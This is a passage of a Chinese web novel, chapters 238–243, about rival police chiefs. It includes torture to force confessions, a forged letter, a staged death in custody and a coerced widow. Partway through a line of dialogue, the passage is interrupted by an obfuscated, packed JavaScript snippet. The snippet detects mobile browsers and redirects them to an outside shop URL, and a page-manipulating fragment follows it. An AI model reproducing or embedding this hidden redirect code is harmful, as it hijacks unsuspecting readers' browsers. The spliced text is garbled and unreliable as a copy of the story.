孙竹刚甩手给了他一个响亮的耳光。 “妈了个巴子,我们领导在讨论案情,还轮不到你说话。” 这个警察是牛得水的嫡系,他挨了打也毫不畏缩。 “对不起,孙局长,我在执行牛局长的命令,请您理解。” “老子不出去,你能把老子怎么样?” 牛得水决定毕其功于一役,他大喝一声:“违抗命令者,就地枪决!” 这个警察掏出腰间配枪,“咔嚓”一声打开保险栓,他此时就是真把孙竹刚毙了,孙竹刚也理亏。 李二狗给孙竹刚使了一个眼色,让他快点离开。 “李二狗要是有什么三长两短,你们给我等着,等我向王县长汇报之后再来和你们算账。” 孙竹刚“砰”的一声摔门而出。 牛得水对着门口的方向“呸”了一声。 “警察局现在姓牛不姓孙,敢和老子叫嚣,总有一天你会跪在我脚下向我求饶。” 拿着皮鞭的警察上前轻声问道:“局长,还打不打?” 牛得水看向李二狗,冷笑道:“给我打,打完之后让他在认罪书上签字按手印,我就不信,他能扛得住这顿皮鞭!” “啪——嗖啪——” 李二狗只感觉身上被抽打过的地方像火燎般在灼烧,继而是如同刀割般的锐痛感。 见李二狗不吭声,鞭子抽打的速度更快了。 “啪——嗖啪——” “啪——嗖啪——” 李二狗有一种万蚁噬心的感觉。 他咬紧牙关,鲜血顺着他的嘴角流了出来。 李二狗没想到牛得水会把自己往死里打! 牛得水也没想到李二狗的骨头这么硬! “局长,怎么办?再打下去恐怕会出人命。” 牛得水恨得牙痒痒,如果不能一次拿下李二狗,下一次就更难了,更何况孙竹刚还在外面虎视眈眈。 但要真是把他打死了,无论是王正直还是孙竹刚那里都交待不过去。 “先别打了,你们都出去,我和他谈谈。” 所有的人都出去了,牛得水来到遍体鳞伤的李二狗身前。 “李管家,你是条汉子,我非常佩服。” 李二狗此时疼痛难当,他真想痛痛快快地大喊几声,然后大哭一场,可他只能咬碎了牙往肚子里咽。 “让牛局长……见笑了!” “李管家,你和孙竹刚无亲无故,这又是何必呢?只要你承认受他指使,我可以保证你不仅不会得到惩罚,还可以得到一百亩良田,就地成为地主。” 第238章 牛得水的举报信 “牛局长,恐怕得……让您失望了,我李二狗……虽然只是一个微不足道的……小人物,但绝不会做……这种不仁不义之事。” 气急败坏的牛得水反手给了李二狗一个耳光。 “李二狗,你就等死吧!” 李二狗发出一阵令人毛骨悚然的笑声。 “谁死谁活……尚未可知,牛局长,您可别大意了!” “哼,我倒要看看是你的嘴硬还是我的钳子硬,来人!” 两个警察从审讯室门外走了进来。 “用钳子把他的牙齿全部给我拔下来!” “是!” 李二狗只感觉自己的嘴巴在颤抖,牙齿在打晃。 若真的被拔掉满口的牙齿,那以后岂不是连亲嘴都变成了一种奢侈?那活着还有什么乐趣? 但李二狗知道,自己绝不能屈服,即使承认了孙竹刚是幕后指使之人,牛得水肯定也不会放过自己。 他那些冠冕堂皇的话骗骗孩子还差不多! “狗日的牛得水,老子就是做鬼也不会放过你!来吧,爷爷吭一声就是你孙子!” “住手!” 审讯室再次传来孙竹刚的声音。 “孙竹刚,你不要三番五次地打扰我办案,否则出现任何意外都是你的责任。” “牛局长,你不要激动,王县长有急事找你,让你马上去县政府一趟。” “孙竹刚,你休想用王县长的命令来骗我!” “王县长的命令谁敢伪造?” 牛得水心想,孙竹刚就是有天大的胆子也不敢假传县长的命令。 “你们两个在这里看着,没有我的命令,任何人不许接触犯人。” 牛得水瞪了一眼孙竹刚,匆匆赶往县政府。 孙竹刚看着遍体鳞伤的李二狗,心中对他的敬佩之情油然而生,他没想到李二狗竟是一个铁骨铮铮的汉子。 不仅他没想到,连李二狗自己都没想到。 “站住!孙局长,请不要让我们为难好吗?” 孙竹刚对他发出了死亡凝视。 “来人!” 外边冲进来四个荷枪实弹的警察。 “把他们两个给我押下去,任何人不许进入审讯室。” “孙局长,这是牛局长的命令,你……” “拉出去!” 那两个警察被押了出去,审讯室的门关上了。 孙竹刚亲自给李二狗解下身上的绳索,两人都泪流满面。 孙竹刚是感动得,李二狗是疼得。 “兄弟,让你受委屈了,大哥来晚了。” 李二狗一屁股坐在地上,痛得几乎无法呼吸。 他努力调整自己的呼吸,方才缓缓说道:“牛得水想让我承认你是幕后指使之人,我怎能答应他?!” “兄弟,你对大哥的这份情意,大哥真不知道该如何报答你。” “咱们是兄弟,”李二狗深深呼了一口气,“信交上去了?” “放心吧,交上去了,牛得水这次死定了!” “大哥,以后这局长就是你的了。” 孙竹刚叹息道:“兄弟,你对大哥的这份恩情大哥记一辈子。大哥对不起你,现在还不能放你出去,程序该走还得走,不然王县长那里不好交代,不过你放心,等牛得水被抓起来,我立马组织对你的审讯,走完程序就放你出来。” “大哥,你放心,我还能坚持,你快去办正事吧!” “兄弟放心,县政府那边已经安排了十几个警察,牛得水跑不掉的。” 县政府,王正直办公室。 “王县长,您找我?” 牛得水刚刚进入县长办公室的时候,发现门口站着四名警察,个个神情严肃,更奇怪的是,他们竟然要求自己交出配枪。 由于是去县长办公室,牛得水只能乖乖配合。 “牛局长,李二狗的案子审得怎么样了?” 王正直低着头看办公桌上的文件,没有抬头看牛得水,更没有让他坐下。 牛得水站在办公桌前,脸上堆满了谄媚的笑容。 “县长您放心,最晚明天,我一定撬开李二狗的嘴。” 王正直抬起头,似笑非笑地看着牛得水,说道:“撬开?这么说你是对他动了刑?” 王正直的笑容令牛得水脊梁骨有些发凉。 孙竹刚说王正直找他有急事,难道就是问这件目前并没有结果的事? 这不符合常理! “县长您不知道,这个李二狗就是茅厕里的石头,又臭又硬,怎么都不肯开口,我也是没有办法才动的刑,不过您放心,肯定不是屈打成招!” 王正直依然是一副似笑非笑的表情。 “呵呵,好一个不是屈打成招,我听说你一直让李二狗说出幕后指使之人?你想让他指认谁?” 牛得水身上的冷汗瞬间下来了。 “县长,我不是这个意思,我是觉得李二狗一个人根本干不了那件事,他背后肯定有指使之人。” “牛局长,你为了排除异己,真是不择手段啊!” 此话一出,牛得水的脸瞬间变了颜色。 “王县长,您可不能听信小人谗言啊,我绝没有排除异己,只是想尽快查出抢劫轮船的歹徒。” “这个案子一直是孙局长负责,牛局长什么时候对这个案子这么上心了?” “王县长,我……我也是着急,案子一直没有进展。” “呵呵,如果轮船是你劫的,当然很难取得进展。” “王县长,您……您可不能开这种玩笑啊,卑职怎么敢做出此等杀头之事?” “你还有不敢做的事?”王正直抓起桌上的信,扔到牛得水跟前,“你看看这是什么?!” 牛得水捡起地上的信纸,看到上面的字迹和内容时,一下子瘫坐在地上。 “王县长,我冤枉啊!” 原来李二狗安排宋孬蛋找了一个擅长模仿别人笔迹的人,模仿牛得水的笔迹写了一封针对王正直的举报信。 信中详细阐述了王正直如何欺上瞒下,巧取豪夺,囤积粮食,中饱私囊,置灾民死活于不顾的事实。 同样的信写了三封,信封上分别写着省政府、南京行政院和南京监察院。 信件投递出去的同时,宋孬蛋就告知了孙竹刚。 孙竹刚带领两名警察以查处间谍之名,命令邮局打开邮筒,在众人的见证下取出这三封信,并立即交到了王正直手上。 第239章 自作孽不可活 王正直眼神冰冷地凝视着牛得水。 “你冤枉?你看信纸上那狗爬一样的字迹,不是你还能是谁?” “王县长,这信真不是我写的!我怎么会做出此等大逆不道的事情?” “呵呵,你也知道这是大逆不道?就因为我重用孙竹刚,你就怀恨在心,我真没想到你竟想置我于死地!” 牛得水“扑通”一声跪在地上,爬到王正直面前,抱住他的大腿,痛哭流涕。 “王县长,您听我解释,这事真的不是我做的,肯定是有人在故意陷害我,对,是有人陷害我!” “都这时候了你还死鸭子嘴硬!牛得水,你真是没救了!来人!” “王县长,您不能这样啊!” 四名警察推门走了进来,牛得水吓坏了。 “王县长,王县长,”牛得水紧紧抱住王正直的大腿不松手,“只要您饶了我这一次,我保证不把您的那些事情说出去。” 王正直没想到牛得水竟敢威胁自己,他俯视着脚下颤抖的牛得水,眼神中露出了杀机。 “你们还愣着干什么?快把他拉走。” 两名警察上前,牛得水死死抱住王正直的大腿不松手。 “王县长,我保证不会说出去,我保证!” 王正直用尽全身力气想抽出自己的大腿,牛得水却抱得更紧了。 “把他的手指掰开!” 两名警察每人掰住他的一只手,用尽九牛二虎之力,硬生生掰断了两根手指,牛得水才不得不松开手。 “王县长,我是被冤枉的,您就饶了我这一次吧。” “拖出去!” “王县长,我是被冤枉的……” “王县长,”牛得水刚被拖出去,孙竹刚就走了进来,“牛局长他……” 王正直并不想让孙竹刚知道举报信的具体内容。 “哎,真是知人知面不知心啊,没想到牛得水竟然捏造事实,想谋害于我,真是枉费了我对他的一番信任。” “王县长,牛得水自作孽不可活,您不必自责。” “他现在已经完全失去了理智,我担心他乱说话,你能明白我的意思吗?” 孙竹刚心领神会,说道:“王县长,您放心,牛得水捏造事实,谋害领导,这种人根本不用审,直接判个三年五载完全没有问题。” 王正直没接话,孙竹刚显然没有明白他的意思。 “孙局长,不管怎么样,牛得水这个警察局局长都不能再干了,我准备提拔你为局长。” 孙竹刚激动的差点跳起来,没想到一直梦寐以求的局长宝座这么快就落到自己头上。 “王县长,感谢您对我的厚爱,卑职定当惟你马首是瞻,鞠躬尽瘁,死而后已。” “哈哈,孙局长,你的能力大家都有目共睹,我看好你哦。” “谢谢县长,谢谢县长。” “孙局长,牛得水之所以举报我,很大一部分原因是因为我提拔重用你,如果他听说你当了局长,一定不会善罢甘休,其实他在省政府还是有些关系的。” “王县长,您的意思是?” “百足之虫,死而不僵,我们千万不能犯打蛇不死反受其害的错误啊。” 孙竹刚终于明白了王正直的意思,内心还是微微有些吃惊,没想到王正直看着面善,内心却如此狠毒。 “王县长,卑职懂了,一定按照您的意思去办。” “孙局长,你理解错了,不是按照我的意思,是依法依规办理,一定要办成经得起推敲的铁案。” 孙竹刚眼珠子一转,马上有了一个主意。 “王县长,卑职有件事正要向您汇报。” “什么事?坐下说。” 孙竹刚半张屁股坐在椅子上,说道:“李二狗被人举报一事,从目前掌握的证据来看应该是诬告,牛得水为了把祸水引到我身上,对李二狗动了大刑,我刚刚从审讯室出来,李二狗现在已经奄奄一息了。” “没想到李二狗这个人还这么仗义。” “是啊,当初他带头向县政府捐赠二十万斤粮食,这样的人怎么可能去抢劫轮船?这不是多此一举吗?” “你说得对,马上去把李二狗放了,这样的人我们应该保护好,怎么还能让他受这么大的委屈呢?” “县长英明,李二狗一定会感激您的大恩大德。” 王正直笑了不语。 “县长,牛得水严刑逼供李二狗,很显然是包藏了不可告人的祸心,我分析,轮船被劫的幕后指使之人很可能就是他。” 王正直笑了。 “孙局长,一定要把证据链固定好,我们不放过任何一个坏人的同时也绝不能冤枉一个好人。” “您放心,我相信牛局长没有李二狗的意志。” “哈哈,既然你都想好了,那就快去办吧。” 孙竹刚离开县政府,直奔警察局审讯室。 “马上释放李二狗。” 孙竹刚亲自安排汽车把李二狗送到医院,安排好一切之后又回到审讯室,此时被绑在行刑架上的人变成了牛得水。 “孙竹刚,你这个卑鄙小人,一定是你在陷害我!” “牛得水,你不要血口喷人!白纸黑字写得清清楚楚你还想抵赖,你还要脸吗?” “呸!你这个小人,当初我怎么就没看出来你的野心,我真是瞎了眼。” “哈哈,你不仅瞎了眼还被猪油蒙了心,早点交代你的罪行,可以免受皮肉之苦。” “孙竹刚,你让我交代什么?我根本没有举报王县长,我怎么承认?” “牛得水,你不要再胡搅蛮缠、信口雌黄,什么举报王县长?你什么时候举报王县长了?我怎么不知道?” 牛得水一头雾水,他一双迷惘的眼神看着孙竹刚,不知道他葫芦里到底卖的什么药。 “对啊对啊,我没有举报王县长,你快把我放了。” “牛得水,你不要转移话题,如实交代你的罪行,我可以算你自首。” “我什么罪行?我根本没有犯罪啊!我交代什么?我没有要交代的!” “牛得水啊牛得水,你还真是不见棺材不掉泪,那我提醒你一下,上次轮船被劫是不是你幕后指使的?” 牛得水闻言犹如五雷轰顶。 第240章 让牛局长走的体面一些 “孙竹刚,你他娘的这是栽赃陷害!你有什么证据证明是我做的?” “我现在没有证据,但我想皮鞭子蘸盐水应该有,我倒要看看你有没有李二狗的骨头,给我狠狠地打!” 一个面目狰狞的男子手里拿着鞭子,狠狠地抽向早已吓得鬼哭狼嚎的牛得水。 孙竹刚心里默默地数着。 “一、二、三、四……” “别打了!我说,我说……” 孙竹刚满脸失望之色。 “人与人之间的差距怎么就这么大呢?仅仅才四皮鞭而已,牛得水,我真为你感到害臊。” “啊啊……你杀了我吧!我实在受不了这个。” “你到底承不承认是你指使人抢劫了轮船?” 牛得水犹豫了,他无法确认自己如果承认会给自己带来什么后果。 “给我接着打!” “不要打了,我承认!是我指使的。” “你的同伙现在哪里?” 牛得水欲哭无泪,他怎么知道这些莫须有的同伙在哪里,但鞭子抽打在身上,那种万蚁噬心的感觉让他痛不欲生。 “我不知道。” “你不知道?那我再提醒提醒你!” 孙竹刚一挥手,男子挥起皮鞭狞笑着又要抽向牛得水。 “不要打了!我真的不知道啊,那些人都是我在大街上雇的,事成之后他们就走了。” “那你做这件事的目的是什么?” “我……你就当我鬼迷心窍吧,呜呜……” 牛得水哭得特别伤心,声音也越来越大,最后竟变成了狼嚎。 “让牛局长看看,如果没有问题,请他签字画押。” 文书拿着审讯记录走到牛得水面前,牛得水根本连看也懒得看,直接签字画押。 欲加之罪,何患无辞! 他现在就是一只待宰的羔羊,根本没有任何反抗的余地。 “牛得水,念在咱们同事一场的份上,我也不想把事情做得太绝,你有什么要求,尽管提出来,我会尽量满足你。” 此时的牛得水已经万念俱灰。 “多谢孙局长的美意,但一人做事一人当,希望你放过我的家人,让他们离开江东。” 孙竹刚这才想到牛得水有一个美得不可方物的小老婆。 “你放心,我会照顾好她的。” 牛得水看着孙竹刚淫荡的笑容,方知所托非人。 “孙竹刚,你他娘真是卑鄙无耻下流。” “哈哈,咱们彼此彼此。” 孙竹刚来到县政府。 “王县长,牛得水已经交待,是他谋划抢劫的轮船。” “这个牛得水,作为警察局局长,竟然监守自盗,实在是太可恶了!” “是啊,这样的人一定要严惩,以儆效尤!” “孙局长,你觉得应该怎么处理牛得水?” 孙竹刚早就知晓了王正直的心思,便说道:“王县长,卑职觉得公开枪决牛得水,会给我们带来舆论上的压力,毕竟那些粮食都被难民抢走了。我建议,让牛得水在审讯室突发疾病而亡,这样对上对下都好交代。” “好啊,孙局长,既然你都想好了,那就去办吧,这样也能让牛局长走的体面一些。” “卑职明白,卑职这就去办。” 孙竹刚没有去审讯室,而是直接去了牛得水家里。 牛得水的大老婆和孩子都生活在省城,在江东跟着他的是小老婆肖凤姣。 肖凤姣,戏子出身,在江东跟了牛得水三年,并没有生养。 “孙局长,我正要去找您呢。” 此时的肖凤姣身穿一身红黑色紧身旗袍,玲珑有致的身材让孙竹刚眼里喷火。 她哭红的双眼,更显得楚楚动人。 “哎,我来就是要告诉你,牛局长的事我也是爱莫能助啊。” “孙局长,您可一定要救救老牛啊,他对您一向爱护有加,您可不能不管他啊。” “凤姣啊,”这是孙竹刚第一次如此称呼她,她眼里满是惊讶,“不是我不管,是他得罪了王县长,谁也救不了他,你还是多考虑考虑自己的出路吧。” “我?”肖凤姣迷惑了,“我怎么了?” “牛得水被查处,按照处理流程,是要抄家的。” 肖凤姣一个没站稳,差点摔在地上,孙竹刚眼疾手快,伸手扶住她,她的腰肢是那么的柔弱无骨,令孙竹刚心神荡漾。 “这个杀千刀的牛得水,我可怎么办啊?孙局长,您得救救我啊。” “你放心,”孙竹刚的手在肖凤姣身上游走,很快就摸到了她丰满而又圆润的屁股,肖凤姣完全没有躲闪,“我这次来就是给你想办法的。” “那人家就先谢谢孙局长了。” “我们进屋里慢慢说。” “孙局长,人家还是有点怕。” “不要怕,有哥在,一切问题都不是问题。” 孙竹刚忍不住掐了一下肖凤姣弹性十足的屁股。 “嘻嘻,孙局长,你坏死了,以后你可不能不管人家啊。” “放心,只要你好好表现,老子保你继续过穿金戴银的好日子。” 屋里很快就响起了吹拉吟唱的声音。 月黑风高,胡家大院的一切都笼罩在黑夜之中。 “驴哥,来抽支烟。” 看到张二驴走过来,正在站岗的一个家丁立马递给他一支烟。 张二驴一把拽下他含在嘴里的烟扔在地上,并马上用脚捻灭。 “你小子不想活了?这么黑的天,燃烧的烟头在一里之外都看得一清二楚,小心枪子崩了你的脑袋。” 家丁被张二驴一骂,反而很高兴。 “嘿嘿,我实在是太困了,就想着抽支烟解解困,应该没什么事吧?你听,外边连声鸟叫都没有。” 张二驴凝视着伸手不见五指的夜空。 “就是因为太过安静了我才担心!” “驴哥,不用担心……” “砰”的一声枪响,家丁的脑袋顿时开了花。 接着就是噼里啪啦的枪声。 “谁先冲进胡家大院,赏大洋一百!” 分明就是张大发的声音。 张二驴蹲在一堵砖墙后面,大声喊道:“大家都不要乱,听我指挥,点火!” 两个家丁迅速点燃了两支火把,火焰熊熊燃烧,映照着家丁略显稚嫩但坚毅的脸庞。 第241章 仇人相见 张二驴大喊一声:“扔!” 两支火把从院墙上扔了出去,院墙下面瞬间燃起冲天大火,火光照亮了院墙下那群正在打枪之人惊讶的脸庞。 原来张二驴按照李二狗的部署,提前在院墙下放了两口大缸,缸中盛满了煤油。 点燃后一来可以看清院墙下面的情况,二来在迫不得已的时候可以击碎大缸,里面的煤油流出来可以有效阻止敌人的进攻。 “给我瞄准了狠狠地打!” 张二驴一声令下,两侧角楼里的两挺**瞄准尚未反应过来的歹徒,一梭子**打完,十几个歹徒就倒在血泊之中。 张大发本想借着李二狗被关押在警察局之机,带人假扮土匪洗劫胡家大院,没想到胡家大院早有准备,片刻之间人员就伤亡过半。 “给我撤!” 张二驴举枪瞄准了躲在一棵大树后的张大发,在他离开树干准备撤离的时候,张二驴扣响了**。 “啊!” 张大发的肩膀上中了一枪。 “快撤!” 歹徒扶着张大发狼狈逃窜。 “驴哥,我们追不追?” 张二驴本想乘胜追击,彻底消灭这群歹徒,但他立刻想到李二狗临走前的嘱咐。 “告诉大家谁都不许走出院门,加强警戒,等天亮了再说。” 当天晚上,牛得水在警察局审讯室突发疾病,早上送到医院时,身体已经凉透。 经过医生一番严格的检查,最终确认牛得水死于心脏骤停。 孙竹刚一大早来到医院病房。 “二狗兄弟,牛得水已死,咱们少了一个心腹大患,以后等待咱们兄弟的都是好日子。” 李二狗看孙竹刚满面红光,知道他肯定已经坐上警察局局长的宝座。 “大哥,祝贺你,终于如愿以偿。” “哈哈,这都是托你的福,如果你没坚持住,也许此刻躺在太平间的就是我了,兄弟,你让大哥佩服得五体投地啊。” “大哥就别取笑兄弟了,当时我真的差一点就没坚持住,但想到大哥嫂子对我的好,我就是死也不能害你们。” 孙竹刚激动地流下两行热泪。 他紧紧地握住李二狗的手,泪眼婆娑地说道:“兄弟,大哥以后会好好补偿你的。” “大哥,咱们是兄弟,你说这话太见外了。” “对,咱们是兄弟,一家人不说两家话。我已差人去胡家大院告知你在这里的情况,你就安心在医院养伤吧。” 李二狗知道,此时宋孬蛋肯定在医院的某一个角落盯着自己。 “那就谢谢大哥了,大哥公务繁忙,快去忙吧,还有,大哥,千万别告诉嫂子我受伤的事,免得嫂子担心。” “还是兄弟想得周到,你好好养伤,等伤好了让你嫂子包饺子给你吃。” “谢谢大哥,嫂子包的饺子最好吃了。” “哈哈,好,我先走了,晚上我再来看你。” 孙竹刚一走,宋孬蛋紧接着就走了进来。 看到李二狗身上缠满了绷带,宋孬蛋泪如雨下。 “**张大发,我一定要亲手宰了他。” 李二狗招手让宋孬蛋坐到床边。 “孬蛋,不要哭,我这不好好的嘛。” “狗哥,哪个**把你打成这个样子?我饶不了他。” “打我的人正躺在太平间呢,那件事你办得特别漂亮,牛得水已经被王正直处**。” “他真是死有余辜!我恨不得剥他的皮,抽他的筋,方能解我心头之恨。” “人都**,就不要计较这些了,孬蛋,回山寨后不要告诉兄弟们我的情况,免得他们担心。” “狗哥,其他人能瞒,嫂子那里应该瞒不住吧?你身上这伤……” 李二狗想了想,与其日后落埋怨,不如现在就告诉**。 “那你回山寨把你嫂子接来,这几天我行动不方便,正好让她来伺候伺候我这个病号。” “好,我这就回山寨接嫂子。” 宋孬蛋刚要走,李二狗又叫住他。 “孬蛋,张大发的事你先不要管,我自有安排。” “狗哥,回去我就带人宰了他,这种人留着也是个祸害。” “千万不可!他刚得罪了我,却 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看李二狗不说话,**顺着他的眼睛看向门外。 于兰芝抱着梦瑶正站在病房门口。 两人对视的瞬间全部愣住了! “你怎么在这里?” “你怎么在这里?” 两人几乎同时发出同样的疑问。 李二狗看到两人眼中同时发出想掐死对方的冲动,战争一触即发。 李二狗躺在病床上,本想挣扎着坐起来,但身上的伤口立马传来一阵撕心裂肺的痛楚。 “哇哇哇……” 梦瑶的哭声打破了宁静。 于兰芝抱着孩子来医院看李二狗,**就是个傻子也知道是怎么回事! 她转头看向李二狗,眼中的绝望和痛楚令李二狗的心都碎了。 “素文,你听我解释。” 李二狗伸手想去拉住**的手,**却下意识地往后一退,她眼神冰冷地凝视着李二狗。 第242章 你在我心里的位置没有任何人可以取代 “李二狗,你知道我这辈子最恨谁!你这是拿刀子往我心口窝里捅啊。” **哭得特别凶,他从她的眼神中看到了怨恨、恼怒、痛苦和绝望。 她哭着跑出病房,李二狗急得从病床上滚落下来,此刻的伤痛已经完全湮灭在他心痛之中。 宋孬蛋听到声音赶来,准备扶起李二狗。 李二狗急得声音都变了。 “孬蛋,别管我,看好她,千万不能出事。” 宋孬蛋哀叹一声,转身去追**。 于兰芝站在原地,任由梦瑶在她怀中放声哭泣,她却毫无反应。 她本想转身离去,但看到躺在地上,身上缠满绷带的男人又狠不下那颗心。 护士听到动静赶来,一边埋怨一边把李二狗从地上扶起来。 刚刚结疤的伤口全部撕裂,鲜血洇红了他身上一圈又一圈的绷带。 “你不要命了?”护士斥责道。 李二狗充耳不闻,眼神呆滞,仿佛被抽走了灵魂一般。 由于李二狗是警察局局长孙竹刚送来的,护士不敢怠慢,急忙出去叫来医生。 医生检查完李二狗的伤势之后,吩咐护士给他解开绷带重新上药包扎。 于兰芝看到李二狗身上狰狞的伤口,所有的怨恨、委屈和不满在那一刻统统烟消云散。 她心疼坏了。 护士包扎完走出病房之后,于兰芝抱着梦瑶站在床边。 “你没什么要和我解释的吗?” “我对不起你们,都是我的错,你们要杀要剐,悉听尊便。” “李二狗,这就是你对你女儿亲娘的态度吗?” 李二狗痛苦地闭上眼睛。 “我知道我没有资格要求你什么,我只是希望你能给我一个合理的解释,至少我心里的痛苦会少一些。” “兰芝,当初**被土匪抢上山寨,胡士高不舍得拿出赎金,阴差阳错之下,是我救了她。生逢乱世,她一个女人,孤苦伶仃的怎么生活?我就收留了她。” 于兰芝冷笑道:“后来你就把她收留到自己床上了是吗?” “难道我得单身一辈子?” 于兰芝被反驳的哑口无言。 她自己是胡家大院的大奶奶,又怎么能要求李二狗为她守身如玉? “哎,我知道我以前做过对不起**的事情,她肯定恨极了我。不管你最后做出什么样的决定,我都不会怨你,只希望你不要忘了咱们的女儿。” 李二狗知道于兰芝在打感情牌,她给自己生了一个女儿,李二狗实在没有理由抛弃她。 良心也不能让他那样做。 “兰芝,我现在身不由己,等我伤好之后,一定给你一个满意的答复好吗?” 这也许是于兰芝此时能得到的最好的答复。 “好,我等着你给我答复。你受伤这么严重,我带着梦瑶也不方便照顾你,让迎春留下来照顾你吧,她正在楼下。” “不用了,这里有护士,你一个人带孩子离不开迎春,放心吧,我只是皮外伤,过两天就能回家了。” 于兰芝很想问问他回哪个家,最后还是忍住了,她知道,男人都不喜欢说话尖酸刻薄的女人。 “那你好好养伤,我和梦瑶在家等你。” “嗯,回去吧,照顾好梦瑶。” “梦瑶,和爹爹再见。” 刚刚一直在哭的梦瑶竟对李二狗露出了一个天真灿烂的笑容。 李二狗知道,只要有梦瑶在,他和于兰芝这辈子就会继续纠缠在一起。 他此时最担心的还是**,如果她想不开,李二狗不敢想。 因为生不了孩子,**一直生活在愧疚之中,而害她生不了孩子的罪魁祸首现在却为李二狗生了孩子,她怎么可能接受这样一个残酷的事实! 李二狗在惴惴不安中度过了整个白天。 宋孬蛋一直没有回来,这就说明他一直在跟着**。 夜幕降临之后,严婆惜提着饭盒走进了病房。 “二狗兄弟啊,我听你大哥说你受伤了?在家都急死我了,你的伤怎么样?” 每次见到严婆惜,李二狗都会觉得紧张。 “让嫂子担心了,我没事,一点皮外伤而已,很快就可以出院了。” 严婆惜看着李二狗浑身缠满绷带,心疼地直掉眼泪。 “二狗兄弟啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930887|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你受苦了。嫂子特意给你包了饺子,来,嫂子喂你吃。” “嫂子,不用麻烦你,我自己来就行。” “你看看你,手都抬不起来,怎么能自己吃?听话,嫂子喂你吃。” 李二狗还未张嘴,严婆惜已经用勺子舀着一个饺子喂到李二狗嘴边。 “听话,吃了饺子恢复得快,大不了等你伤好之后再好好感谢嫂子。” 听了严婆惜的话,李二狗差点被嘴里的饺子噎死。 他被噎得忍不住咳嗽起来,身上的伤口立刻传来一阵痛楚。 “慢点吃,看你着急的,没人和你抢。” 喂完李二狗,严婆惜又掉了一会眼泪儿。 “二狗兄弟,你大哥不在家,孩子自己在家我也不放心,我得赶紧回去了,你好好休息,明天早上我再来给你送饭。” “嫂子,不用麻烦了,医院有食堂,我让护士给我捎一点过来就行。” “那怎么能行?食堂的饭没有营养,哪有嫂子做得有营养?” “只是太麻烦嫂子了,我心里实在过意不去。” “都是自家人,说这些就见外了,你好好休息,我先走了。” 严婆惜扭着小蛮腰走了。 实话实说,她真是一个适合做老婆的女人,只是有时候太过热情,会让人招架不住。 李二狗在忐忑不安中度过了无比漫长的一个晚上。 第二天一早,**竟出现在床前。 她眼睛红肿,显然哭了很久很久,李二狗看见宋孬蛋也出现在病房门口。 李二狗一把抓住**的手,唯恐她再离开自己。 “素文,对不起,你听我解释。” “二狗,你不用解释,我都理解,像你这样的男人,注定不会只属于我一个人。” “素文,终究是我负了你,答应你的事情我没有做到,对不起!” “如果说对不起能让你只属于我一个人,那你就说一千遍一万遍,可对不起有用吗?事已至此,我只希望你不要再让更多的人伤心。” 此时,李二狗想到了静雯。 “素文,你在我心里的位置没有任何人可以取代。” 第243章 张大发上门请罪 **因为担心李二狗的伤势才选择回到医院,但回到医院并不代表她已经原谅了他。 “你别说了,先好好养伤吧。” “二狗兄弟,看我给你带什么好吃的了?” 严婆惜提着饭盒出现在病房门口,看到坐在病床前的**,笑容顿时僵在脸上。 一波未平一波又起,李二狗只觉得头都大了。 “嫂子,你怎么来了?素文,这是孙局长家的嫂子。” **脸上闪过一丝疑惑。 严婆惜今天穿了一身天蓝色绸缎紧身旗袍,勾画出她上凸下翘的好身材,**见了都有点自惭形秽。 “嫂子好。” 严婆惜是个人精,一下子便明白了房中的情形。 “这是弟妹吧?哎吆,长得可真好看,就像那画里的人一样。” 李二狗说道:“嫂子,这是**,你弟妹。” 严婆惜忙放下饭盒,一把拉住**的手,热情地说道:“弟妹啊,我经常听二狗兄弟说起你,今天总算是见到**了,看你这白白嫩嫩的小脸蛋,可真讨人喜欢。” 严婆惜脸上的笑容竟丝毫看不出矫揉造作。 李二狗特意说道:“嫂子,还得麻烦你送饭,真是让你和大哥费心了。” “兄弟,你这说的什么话?我听你大哥说了,你是为了他才受得伤,你大哥忙,特意吩咐我做了早饭给你送过来。” 严婆惜把饭盒递到**手里。 “不知道弟妹来,带的也不多,我回家再送一份过来。” **彻底打消了对严婆惜的怀疑。 “不用了嫂子,我吃得少,有一点就够了。” 严婆惜笑道:“弟妹可千万别和嫂子客气,咱们都是一家人。” “谢谢嫂子。” “好了,你们吃吧,我先回去了,孩子一个人在家我也不放心。” “谢谢嫂子惦记,素文,快送送嫂子。” “不用不用,你们快吃吧,我先回去了。” **把严婆惜送到门口,严婆惜出门前特意回头给了李二狗一个意味深长的眼神。 “嫂子真热情,看得出来,她对你是真的关心。”**一边给李二狗喂饭一边说道。 “嫂子人很好,对我一直很照顾。” 李二狗说的有些心虚,好在**并没有察觉。 “孙局长就是孙竹刚?你现在和他是兄弟?我记得他以前经常到胡家大院敲竹杠,大家私底下都嘲讽他应该姓乔。” “他现在已经升任警察局局长,虽说有些贪婪,但人还不坏,咱们山寨的事他帮过不少忙。” “你也没给他少送吧?” “礼尚往来嘛,咱们需要在政府里面有自己人。” “一边是大院,一边是山寨,你也不嫌累。” 面对**的揶揄,李二狗只能装糊涂,她还不知道省城的事,要是知道了还不知道会怎么样! 三天后,孙竹刚安排警车亲自把李二狗送回胡家大院。 李二狗和新任警察局局长孙竹刚是结拜兄弟的消息迅速传遍仙人洞镇的每一个角落。 张大发吓坏了。 思虑再三,他决定亲自前往胡家大院,无论如何都要取得李二狗的谅解。 “狗哥,张大发来了,您见不见?” 李二狗没想到张大发还敢亲自来胡家大院,他倒想听听他如何为自己辩解。 “你先带他去客厅,我一会再过去。” “狗哥,他既然送上门,咱们何不……” “二驴,有时候人活着比**更难受。” 张二驴皱着眉头出去了,李二狗高深莫测的话他一时还领会不到其中的真谛。 张大发在客厅坐立不安的时候,李二狗正在逗弄梦瑶。 都说女儿随爹,李二狗越看越觉得胡梦瑶长的像自己,简直完美继承了老李家的优秀基因。 提起基因,李二狗想到了他爹李富贵。 自从潘小莲离开之后,他彻底放飞了自我,前段时间又娶了一个黄花大闺女,日子过得要多滋润有多滋润。 